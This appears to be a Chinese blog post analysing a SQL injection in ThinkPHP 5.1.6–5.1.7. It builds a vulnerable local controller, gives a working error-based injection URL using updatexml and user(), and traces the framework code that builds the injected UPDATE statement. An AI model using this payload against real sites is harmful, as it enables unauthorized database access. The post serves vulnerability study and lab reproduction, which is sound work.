thinkphp漏洞之sql漏洞

目录

使用版本

环境搭建

文件下载安装

配置文件修改

配置你的控制器

查看官方更新文档

尝试注入

漏洞分析


使用版本

注:thinkphp版本:5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)。

环境搭建

文件下载安装

github上面下载相应版本(下图中展示的5.0.15版本),下载think文件,下载framework文件,然后将framework文件修改名字为thinkphp,然后将修改后的framework放在think文件下,然后将think放在网站目录下,然后就可以打开了

配置文件修改

数据库修改

开启debug模式

配置你的控制器

    public function index()
    {
        $username = request()->get('username/a');
        db('users')->where(['id' => 1])->update(['username' => $username]);
        return 'Update success';
        //return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
    }

查看官方更新文档

在5.1.9有一个更新

在这里有一处修改

尝试注入

http://127.0.0.1:9999/thinkphp/think-5.1.6/public/?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

回显了你的用户名

漏洞分析

下面我们跟着这payload来追一下这个漏洞

http://127.0.0.1:9999/thinkphp/think-5.1.6/public/?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0

在这里打断点

走到update这里

然后进入update

然后既然追update的builder

然后进入parseData这里

再然后进入parseArrayData里面上面的两个inc和dnc选项已经被修复了

进入parseArrayData,在这里

list就是将数组中的值赋给一个变量

parseArrayData拼接的值,这里是将你的注入语句用^与后面的('0(1)')进行拼接,或者使用|拼接也可以,这样的目的是为了mysql语法正确,这里对于后面的语句来说不重要,因为走到update的时候已经报错了

然后经过执行又回到update了,username变成如下图所示

然后在update中经过字符串的替换,sql语句就变成下面这样

"UPDATE `users`  SET `username` = updatexml(1,concat(0x7,user(),0x7e),1)^('0(1)')  WHERE  `id` = :where_AND_id  "

然后就会执行,报错出现注入

  • 13
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值